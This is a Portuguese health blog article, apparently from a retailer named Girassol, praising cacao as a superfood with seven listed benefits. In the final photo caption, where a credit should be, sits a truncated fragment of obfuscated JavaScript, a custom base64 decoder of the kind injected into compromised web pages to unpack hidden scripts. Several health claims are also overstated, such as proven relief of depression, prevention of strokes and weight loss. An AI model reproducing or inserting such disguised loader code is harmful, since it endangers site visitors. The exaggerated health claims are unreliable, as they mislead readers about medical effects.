Cacau, o rei dos antioxidantes, e os seus benefícios
Cacau, o rei dos antioxidantes, e os seus benefícios
Todos nós conhecemos o delicioso cacau, mas será que sabe que este superalimento é considerado por muitos o rei dos antioxidantes? É verdade, os grãos de cacau são produzidos através da planta “Theobroma cacao”, traduzida à letra significa “alimento dos deuses”. Isto diz tudo, não é?
E, para além de ser presença obrigatória na composição dos chocolates, este alimento dos deuses tem inúmeros benefícios para a nossa saúde. É rico em flavonoides, vitaminas e minerais como o potássio e o cobre, que fortalecem a saúde do nosso coração. Contém também uma boa quantidade de cálcio e magnésio, que são essenciais para o bom funcionamento do nosso organismo. Mas conheça melhor todos os benefícios deste superalimento que tanto agrada a pequenos e graúdos.
1- Melhora o nosso humor
O cacau faz aumentar a produção de serotonina, isto é, a hormona da boa disposição graças ao triptofano que está na sua composição. Os seus grãos contêm também dopamina, que melhora a nossa saúde mental e o nosso humor. Razões suficientes para o cacau ser considerado um superalimento antidepressivo, já que comprovadamente ajuda a combater a depressão e a ansiedade.
Cacau, o rei dos antioxidantes, e os seus benefícios – Melhora o nosso humor | Foto: you.co.za
2- Protege o nosso coração
Os especialistas afirmam que o cacau é um excelente aliado do nosso coração e que os seus polifenóis ajudam a reduzir a tensão arterial. Por ser uma rica fonte de magnésio, este alimento fortalece e melhora as funções cardiovasculares e reduz a formação de coágulos sanguíneos, ataques cardíacos e derrames.
Cacau, o rei dos antioxidantes, e os seus benefícios – Protege o nosso coração | Foto: verdeanis
3- É um aliado do nosso cérebro
Que boa notícia! O cacau é um excelente aliado do nosso cérebro, já que os seus flavonoides aumentam o fluxo sanguíneo e promovem uma melhor oxigenação do cérebro. E estudos dão conta que o cacau é uma óptima opção para combater doenças relacionadas com demência.
Cacau, o rei dos antioxidantes, e os seus benefícios – É um aliado do nosso cérebro | Foto: herbworks
4- É muito rico em antioxidantes
O cacau é um poderoso antioxidante que faz verdadeiros milagres pela nossa saúde! Ao veja: melhora o nosso sistema imunitário, previne várias doenças e faz ainda aquilo que todas nós, mulheres, desejamos, retarda o processo de envelhecimento. Como? Devido à forte acção dos seus antioxidantes que fazem do cacau um excelente anti-inflamatório.
Cacau, o rei dos antioxidantes, e os seus benefícios – É muito rico em antioxidantes | Foto: adesg
5- É uma poderosa fonte de ferro
Este alimento é uma poderosa fonte de energia graças à grande quantidade de ferro que contém. Ao consumirmos o cacau, ficamos mais alerta e há até quem diga que nos fornece tanta energia como uma chávena de café. O cacau ajuda por isso a prevenir as anemias, que mais não são do que falta de ferro no sangue.
Cacau, o rei dos antioxidantes, e os seus benefícios - É uma poderosa fonte de ferro | Foto: awsli
6- Ajuda a perder peso
Ficou intrigado com este benefício? Saiba que há estudos que dizem que os polifenóis presentes no cacau ajudam a melhorar a resistência à insulina. E, por ter propriedades antidepressivas, este alimento pode ser um aliado da sua dieta já que reduz o desejos compulsivos por comida e reduz a produção da hormona do stress, um dos principais factores do ganho de peso. O chocolate negro é uma óptima opção para quando lhe apetece comer um doce.
Cacau, o rei dos antioxidantes, e os seus benefícios - Ajuda a perder peso | Foto: slodive
7- Um conselheiro de beleza
O cacau já conquistou fãs em vários campos, nomeadamente na área da estética! Por conter retinol, ácido ascórbico, vitamina A, Vitamina B1, B2 e B3, a polpa do cacau tem sido usada na indústria da beleza em máscaras faciais hidratantes, oxigenantes e esfoliantes. Fazia ideia que o ácido presente no cacau ajuda a eliminar as células mortas e suaviza as linhas de expressão? Estamos sempre a aprender. 
Cacau, o rei dos antioxidantes, e os seus benefícios - Um conselheiro de beleza | Foto: function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oa
E agora que já conhece todos os benefícios do cacau, saiba que produtos é que a Girassol tem ao seu dispor.
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Se gostou de descobrir os benefícios do cacau, conheça também os benefícios da cenoura, da banana e da cúrcuma. Conheça ainda alternativas saudáveis ao sal, à carne e aos lacticínios. Tenha hábitos saudáveis!
